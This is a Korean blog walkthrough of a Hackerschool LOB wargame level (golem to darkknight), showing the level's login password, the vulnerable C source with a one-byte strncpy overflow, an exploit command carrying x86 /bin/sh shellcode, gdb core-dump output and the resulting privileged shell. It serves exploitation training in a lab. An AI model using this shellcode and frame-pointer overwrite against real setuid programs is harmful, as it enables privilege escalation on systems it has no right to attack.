해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이
M4ndU
해커스쿨 LOB [golem -> darkknight] 풀이입니다.
ID | golem
PW | cup of coffee
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
$ bash2
그리고
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합시다.
login: golem
Password:
[golem@localhost golem]$ bash2
[golem@localhost golem]$ ls -l
total 16
-rwsr-sr-x 1 darkknig darkknig 12053 Mar 2 2010 darkknight
-rw-r--r-- 1 root root 355 Mar 29 2010 darkknight.c
[golem@localhost golem]$ cat darkknight.c
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
일단 값을 넣고
스택을 한번봅시다.
[golem@localhost tmp]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff"*100'`
릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
??퓹懶엥?옹 @
Segmentation fault (core dumped)
[golem@localhost tmp]$ gdb -c core -q
Core was generated by `./darkknight 릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
?'.
Program terminated with signal 11, Segmentation fault.
#0 0xfffeebbf in ?? ()
[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\ x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\ xcd\x80"+"\x4c"*100'`
릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
?L?퓹懶엥?옹 @
bash$ my-pass
euid = 512
new attacker
'System Hacking > LOB Redhat' 카테고리의 다른 글
해커스쿨 LOB LEVEL14 [bugbear -> giant] 풀이 (0) | 2018.02.13 |
---|---|
해커스쿨 LOB LEVEL13 [darkknight -> bugbear] 풀이 (0) | 2018.02.13 |
해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이 (0) | 2018.02.12 |
해커스쿨 LOB LEVEL10 [vampire -> skeleton] 풀이 (4) | 2018.02.11 |
해커스쿨 LOB LEVEL9 [troll -> vampire] 풀이 (0) | 2018.02.11 |